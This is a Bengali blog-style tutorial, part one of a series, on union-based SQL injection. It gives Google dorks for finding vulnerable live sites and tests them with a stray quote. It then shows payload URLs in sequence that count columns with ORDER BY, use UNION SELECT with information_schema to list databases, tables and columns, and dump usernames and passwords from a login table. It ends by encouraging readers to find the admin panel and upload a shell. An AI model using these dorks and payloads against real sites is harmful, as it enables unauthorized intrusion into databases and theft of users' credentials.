SQL INJECTION (১ম অংশ)
সবাই আশা করি ভালো আছেন।
(বিশেষ
দ্রষ্টব্যঃটিউটোরিয়ালে আমি একটি কাল্পনিক (যে সাইটের কোনো অস্তিত্ব নেই)
সাইট কে উদাহারণ হিসাবে ধরে নিয়ে আপনাদের দেখানোর চেষ্টা করেছি।)
আপনি যদি কোনো সাইট Sql injection করতে যান তবে এই টিউটোরিয়ালের সাথে অনেক অমিল থাকতে পারে,তবে
কমান্ড গুলো সব একই হবে।)
এখন থেকে আমি SQL INJECTION নিয়ে নিয়মিত পোস্ট লেখার চেষ্টা করবো।
আজকে আমি আপনাদের সাথে বেসিক ইউনিয়ন বেজড SQL INJECTION
কিভাবে করা হয় সেটা দেখাবো।
এবং বিস্তারিত আলোচনা করার চেষ্টা করবো আশা করি ধৈর্য সহকারে পড়বেন।
SQL INJECTION হচ্ছে বর্তমান সময়ের ওয়েবসাইট হ্যাকিং সবচেয়ে জনপ্রিয় এবং
কমন মেথড/পদ্ধতি।
আসলে SQL INJECTION হচ্ছে তেমন কঠিন জিনিস না তবে
এটা ভালোভাবে শিখতে হলে,
এটার পিছনে আপনার অনেক সময় দেওয়া লাগবে।
কিন্তু হ্যাকিং এ নতুন এমন অনেক Newbiee হ্যাকার মনে করে যে SQL INJECTION কোনো বড ব্যাপার নাহ
কারণ তারা খুব সহজেই বিভিন্ন টুলস(Havij,Sqlmap,Sqlninja) ইত্যাদি ব্যাবহার করে SQL INJECTION করতে পারে।
কিন্তু SQL INJECTION এমন একটা জিনিস যেটা সম্পর্কে আপনার সম্পূর্ণ শিখতে হলে অনেক বই শেষ করা লাগবে :)
এর মানে বোঝা গেলো যে শুধুমাত্র টুলস ব্যাবহার করে আপনি অনেক সাইট কিন্তু SQL INJECTION করতে পারবেন।
কিন্তু তার দ্বারা আসলেই কোনো লাভ হবে না।
কারণ আপনি কিছুই শিখতে পারবেন না।
এবং অনেক সময় টুলস দিয়েও SQL INJECTION এর জন্যে দুর্বল/ভুলনারেবল সাইট হ্যাক করতে পারবেন না।
যায় হোক।
- SQL INJECTION দ্বারা কি কি করতে পারবেন আপনি?
- আপনি ডাটাবেসে তথ্য তে এক্সেস নিতে পারবেন।
- আপনি ডাটাবেসের তথ্য মোডিফাই করতে পারবেন।
- আপনি সাইটের লগইন এরিয়া বাইপাস করতে পারবেন।
- আপনি SQL Server হ্যাক করতে পারবেন।
তাহলে শুরু করা যাক।
প্রথমত আমাদের SQL INJECTION এর জন্যে ভুলনারবল সাইট বের করতে হবে।
যদি আপনি হ্যাকার হন,তাহলে আপনি ভালো করেই জানবেন যে সার্চ ইঞ্জিন হলো হ্যাকারদের
সবচেয়ে বেস্ট ফ্রেন্ড।আমরা SQL INJECTION ভুলনারবল সাইট GOOGLE Dork
ব্যাবহার করে বের করতে পারবো।
নিচে আমি কিছু কমন SQL INJECTION Dork দিচ্ছিঃ
inurl:/index.php?id=
inurl:/home.php?id=
inurl:/article.php?id=
inurl:/news.php?id=
Dork আরো অনেক বড বিশাল লিস্ট আছে। পরে কোনো এক সময় শেয়ার করবো।
অথবা আপনি গুগল থেকে সার্চ করে বের করে নিতে পারেন।
এখন আপনি এখান থেকে যেকোনো একটি Dork নিয়ে গুগলে সার্চ দিলে
রেসাল্টে অনেক সাইট দেখতে পাবেন।
সেখান থেকে যেকোনো একটি সাইটে প্রবেশ করুন।
মনে করুন এরকম একটি সাইট পেলেন আপনি (উদাহারণ)
website.com/index.php?id=1
এই ইউআরএল টি অনেক রকমের হতে পারে। তবে আমি উদাহারণের জন্যে এটি দেখালাম।
এখন আমরা টেস্ট করবো সাইটটি SQL INJECTION ভুলনরাবল কিনা।
তার জন্যে আমি সাইটের শেষে এই (') চিহ্নটি দিবো (ব্রাকেটের মাঝখানের চিহ্নটি)
উদাহারণঃ
website.com/index.php?id=1'
এখন যদি সাইটি SQL INJECTION এর জন্যে ভুলনারবল হয় তাহলে
আপনি এরকম কিছু এরর দেখতে পাবেন।
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near '\'' at line 1
অথবা,
Warning: mysql_fetch_array()
অথবা আপনি যদি কোনো রকমের mysql এরর দেখতে পান।
অথবা যদি সেই ওয়েব পেইজ থেকে কোনো ডাটা মিস করে তাহলে বুঝতে হবে
সাইটটি SQL INJECTION ভুলনরাবল।
যদি এসবের কিছু না হয় তাহলে সাইটটি ভুলনারবল নাহ!
অন্য আরেকটি সাইট খুজুন।
এরর পাওয়ার পরে এখন আমাদের কাজ হবে সাইটটি কি এক্সপ্লইটিং করার ।
মানে SQL INJECTION করতে হবে।
আমরা এতক্ষন ভুলনারবল সাইট বের করলাম,এখন আমাদের কাজ হবে সাইটটি থেকে ডাটা
ডাম্প করা বা হ্যাক করা।
এখন আমাদের পরবর্তী পদক্ষেপ হবে এই ডাটাবেসের টেবিলে কলামের সংখ্যা কতো সেটা বের করা।
সেজন্যে আমরা ' চিহ্ন টি order by statement এ পরিবর্তন করবো।
উদাহারণঃ
website.com/index.php?id=1 order by 1--
website.com/index.php?id=1 order by 2--
website.com/index.php?id=1 order by 3--
website.com/index.php?id=1 order by 4--
আমাদের order by এর নাম্বার টি বাডিয়ে যেতে হবে যতক্ষন না আমরা
সাইটটি তে কোনো এরর দেখতে না পায়।
এরর অনেকটা এরকম হতে পারে,
unknown column numbers
অথবা
সাইটের কিছু ডাটা মিস হতে পারে।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=20 order by 1-- NO ERROR
http://www.exaplme.sqlsite.com/page.php?id=20 order by 2-- NO ERROR
http://www.exaplme.sqlsite.com/page.php?id=20 order by 3-- NO ERROR
http://www.exaplme.sqlsite.com/page.php?id=20 order by 10-- NO ERROR
http://www.exaplme.sqlsite.com/page.php?id=20 order by 20-- NO ERROR
http://www.exaplme.sqlsite.com/page.php?id=20 order by 21-- ERROR সাইটের কনটেন্ট মিস হচ্ছে।
এখন আমারা order by 21 পর্যন্ত আসার পর error দেখতে পেলাম।
কিন্তু order by 20 দিলে কোনো এরর নেই।
তার মানে ডাটাবেসে ২০ টি কলাম আছে।
অনেক সময় order by 1000 দিলেও এরর আসে নাহ।
সে ক্ষেত্রে id / parameter এর শেষে ' চিহ্ন টি দিতে হয়
এবং শেষে একটি + যোগ করতে হয়।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=20' order by 21--+
এখন আমাদের জানা আছে যে এই ডাটাবেসে ২০টি কলাম আছে।
এখন আমাদের কাজ হবে সব কলাম সিলেক্ট করা union select statement ব্যাবহার করে।
select statement টি Data দেখার জন্যে ব্যাবহার করা হয়।
যায় হোক এর পর্যায়ে আমরা এই কোডটি ব্যাবহার করবো।
http://www.exaplme.sqlsite.com/page.php?id=20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
এখন আমরা ওয়েব পেইজে কিছু নাম্বার দেখতে পাবো।
নম্বর গুলো ১-২০ এর মধ্যে হবে কারণ আমরা জানি এই সাইটের কলাম ২০ টি।
আর আমরা যে কমান্ডটি ব্যাবহার করেছি সেটা দিয়ে ২০টি কলামের মধ্যে কোনটি
String কলাম সেটা বের করার জন্যে এই কমান্ড টি ব্যাবহার করেছি।
যদি আপনি কোনো নাম্বার দেখতে না পান তাহলে
parameter value এর আগে একটি - চিহ্ন দেন।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=-20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
আপনি ওয়েবপেইজে কিছু নাম্বার দেখতে পাবেন।
আমি ৩,৪ দেখতে পেলাম।
এই দুইটা হলো String Column আমরা ডাটাবেস থেকে তথ্য হ্যাক করতে পারবো
এই দুইটি কলাম ব্যাবহার করে।
অনেক সময় উপরে যে কমান্ডটি নিয়ে লেখেছি সেটা কাজ করে নাহ :(
সে ক্ষেত্রে আমরা এরর দেখতে পাবো।
এই ক্ষেত্রে waf bypass করতে হবে।
সেটা সম্পর্কে সামনের টিউটোরিয়াল গুলোতে আলোচনা করবো।
এখন আমাদের কাজ ডাটাবেস থেকে ডাটা হ্যাক করা।
আমরা এখন ডাটাবেসের সংরক্ষিত গোপন ডাটা গুলো হ্যাক করতে পারবো।
এছাডাও আমরা ডাটাবেসের নাম database() এই কমান্ড টি ব্যাবহার করে,
ডাটাবেস ভার্সন জানতে version() এই কমান্ডটি ব্যাবহার করে বের করতে পারবো।
এছাডাও আমরা SQL INJECTION এর মাধ্যমে লোড ফাইল মেথড ব্যাবহার করে
ভুলনরাবল সাইটে শেল আপলোড দিতে পারবো (এই বিষয়ে পরে টিউটোরিয়াল লেখা হবে)
এই টিউটোরিয়াল টি তে আমরা ডাটাবেস ইউজার নেম এবং ডাটাবেস ভার্সন বের করবো,
৩ এবং ৪ নম্বর String কলাম ব্যাবহার করে।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=-20 union select 1,2,version(),group_concat(database(),0x3a,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
আমি এখানে 0x3a ব্যাবহার করেছি এটা হলো সেমিকোলন (;) এর হেক্স ভ্যালু
এটা দুইটা ডিফারেন্ট ভ্যালু কে ডিফারেন্ট প্যারামিটার এ সেপারেট করে দেখাবে।
এখন দেখা যাবে যে ৩ এর ৪ নম্বর ভুলনারবল সাইটের জায়গায় ডাটাবেস ভার্সন এবং
ডাটাবেসের ইউজারের নাম দেখাবে।
এখন আমরা ভুলনারবল সাইটের যে যে ডাটাবেস সেটা বের করবো।
তার জন্যে আমাদের কলাম নেমের জায়গায় SQL QUERY দিয়ে রিপ্লেস করতে হবে।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=-20 union select 1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.schemata--
এখন আমরা দুইটা ডাটাবেস দেখতে পাবো
একটি information_schema আরেকটি site_database এটা সাইট এডমিন যে নামে দিয়েছে সে নামে হবে
এখন information_schema নিয়ে আমাদের কোনো কাজ নেই কারণ
কারণ information_schema তে সিস্টেম টেবিল থাকে যা ডাটাবেস কে ডিফাইন করে।
আমরা এই টেবিল গুলো ব্যাবহার করে ডাটাবেসের লে-আউট স্টাইল চেক করতে পারবো।
যায় হোক এইগুলা অনেক এডভান্স লেভেলের কথা বার্তা লোল :p
যা এখন আপনারা বুঝতে পারবেন না।
এখন আমাদের কাছে ডাটাবেস আছে (আসলে আমাদের ডাটাবেসের নাম চেক করার দরকার ছিলো না
আমি শুধু শেখার উদ্দেশ্যে সেই বিষয়ে বললাম।আমরা যদি সাইটের ডাটাবেস থেকে ডাটা হ্যাক করতে চায়
তাহলে আমরা ডাটাবেস ফাংশন ব্যাবহার করেই ডাটা ডাম্প করতে পারি।
সে ক্ষেত্রে site_database এর নাম জানার আর দরকার হবে না।
আমরা এই টিউটোরিয়ালে database() এই ফাংশন টি ব্যাবহার করে ডাটা হ্যাক করবো।)
এখন আমরা ডাটাবেস থেকে টেবিলস বের করবো।
এখন আমরা where কন্ডিশন টি ব্যাবহার করবো এই query তে।
আমরা টেবিলস নেম বের করবো select statement ব্যাবহার করে
এবং where কন্ডিশনটি ব্যাবহার করবো এটা দেখানোর জন্যে কোন ডাটাবেস থেকে আমরা টেবিলস
বের করতে চাচ্ছি।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=-20
union select
1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from information_schema.tables where table_schema=database()--
এখন আপনি টেবিলস দেখতে পাবেন।
মনে করেন এই টেবিলস গুলা আমরা পেলাম।
archive,corrigendum,eselling,login,login_hindi,login_private,news,tbl_complaint,tbl_email_sender,tbl_email_sender_hindi,tbl_email_sender_private,tbl_home_animation,tbl_home_private,tbl_pages,tbl_pages_hindi,tbl_pages_private,tbl_sub_pages,tbl_tnc,tender,tender2,tender3,tender_drawing,unit
এখন আমাদের দেখতে হবে এই গুলোর মধ্যে সেনসেটিভ টেবিল কোনটা যেখানে গুরুত্বপূর্ণ ডাটা থাকবে ?
সেটা হচ্ছে login টেবিল।
এক এক ক্ষেত্রে এক এক রকম হতে পারে টেবিল নেম। নিজের বুদ্ধি খাটান!
আমরা এখন login টেবিল থেকে ডাটা হ্যাক করবো ।
এখন আমরা group_concat(table_name) কে group_concat(column_name) এবং information_schema.tables কে information_schema.columns
দিয়ে রিপ্লেস করবো এবং table_schema এর জায়গায় table_name ব্যাবহার করবো।
এখন আমারা table_name কে একটি প্যারামিটার দিবো টেবল নেম টি quote এ নিয়ে আসবো
table_name='login'
আমরা qoute কেনো ব্যাবহার করলাম??
কারণ এটার ডাটা টাইপ varchar...
অনেক সময় এই পদ্ধতি টি কাজ করে নাহ...
সে ক্ষেত্রে টেবিল নাম কে char এ রুপান্তর করতে হয়।
এটা করার জন্যে মোজিলা ফায়ার ফক্সে হ্যাকবার নামে একটি এডঅন আছে ওটা এড করে নিন।
সহজের char এ রুপান্তর করতে পারবেন।
আমি login table টাকে char এ রুপান্তর করার পর সেটা হলো
CHAR(108, 111, 103, 105, 110)
এখন আমরা কমান্ডটি ব্যাবহার কিভাবে করে সেটা দেখবো।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php?id=-20
union select
1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from information_schema.columns where table_name=CHAR(108, 111, 103,
105, 110)--
এখন আমরা login টেবিলের কলাম গুলো দেখতে পাবে
আমি যা যা পেলাম।
id,username,password,email,date_added,lastlogin,sessionid,type,status
এখন আসল কাজ শুরু ।
এখন আমরা কলাম থেকে id এবং password হ্যাক করবো ।
এখন আমরা (username,0x3a,password) এই কমান্ডটি ব্যাবহার করবো
এবং login টেবিল থেকে এই দুইটি কলামের ডাটা বের করবো ।
যার জন্যে কমান্ড হবে।
উদাহারণঃ
http://www.exaplme.sqlsite.com/page.php ?id=-20 union select 1,2,3,group_concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from login--
এখন আপনি username এবং password দেখতে পাবেন।
এখন আপনার কাজ হবে এডমিন প্যানেল বের করে সাইটটা তে শেল আপলোড করে হ্যাক করে ফেলা :D
আমি আছি ফেইসবুকেঃ
http://facebook.com/zayyan.ahmed.71
যদি কেউ রিকুএস্ট পাঠান দয়া করে একটা মেসেজ দিয়ে দিবেন সাথে।
যাতে বুঝতে সুবিধা হয়।
প্রায় পাঁচ ঘন্টা কষ্ট করে সম্পূর্ণ পোস্টটা লেখলাম, আশা করি আপনাদের অনেক ভালো লেগেছে।
আপনাদের কমেন্টের আশায় থাকলাম।